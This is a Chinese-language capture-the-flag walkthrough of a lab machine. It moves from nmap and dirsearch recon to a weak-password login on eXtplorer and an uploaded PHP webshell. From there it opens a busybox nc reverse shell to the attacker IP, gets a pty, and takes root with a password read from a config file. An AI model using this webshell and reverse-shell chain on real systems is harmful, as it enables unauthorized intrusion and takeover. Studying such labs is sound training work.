-
攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.145

-
扫描服务器开放了哪些端口,有什么服务
nmap -sV -T4 -p- -A 192.168.23.145

开放了 80、22 端口
- 访问 80 端口开放的 http 服务

什么都没有,扫描其子目录
dirsearch -u http://192.168.23.145 -x 403,404
存在/robots.txt ,访问之

http://192.168.23.145/robots.txt

存在/extplorer,访问之

-
网站貌似是一个框架搭建的,扫描识别其网站指纹
whatweb -v http://192.168.23.145/extplorer

尝试弱口令 admin:admin,成功登录

extplorer 一款现代独立文件管理器,注重速度、安全性和易于部署。通过简洁的界面本地或远程管理您的文件。
https://github.com/soerennb/extplorer
- 给网站写一个一句话木马即可,先创建 shell.php 文件

再编辑 shell.php

写入一句话木马
<?php system($_GET['cmd']);?>

访问一句话木马,尝试命令执行反弹 shell
curl -sX GET "http://192.168.23.145/shell.php?cmd=id"
echo -n 'busybox nc 192.168.23.128 4444 -e /bin/sh' | jq -sRr @uri
curl -sX GET "http://192.168.23.145/shell.php?cmd=busybox%20nc%20192.168.23.128%204444%20-e%20%2Fbin%2Fsh"

kali 预先打开端口监听,得到反弹 shell

-
获取可交互式 shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
script /dev/null -c bash
使用 script 命令记录会话。通过将输出指向 /dev/null,攻击者巧妙地利用 script 开启了一个新的 Bash 进程,从而获得了交互式环境。

信息收集一下
id
uname -a
ls /home
cat /home/user.txt

得到普通用户 flag
-
查看能否 sudo 提权
sudo -l

不行。查看extplorer web 应用的配置文件得到疑似 root 用户账户密码
ls -laR /var/www/html/extplorer/ | grep "conf*.php"
grep -iE "user|pass" /var/www/html/extplorer/config/conf.php
cat /var/www/html//config/conf.php

使用密码 AccessGranted#1成功登录 root 用户

得到 flag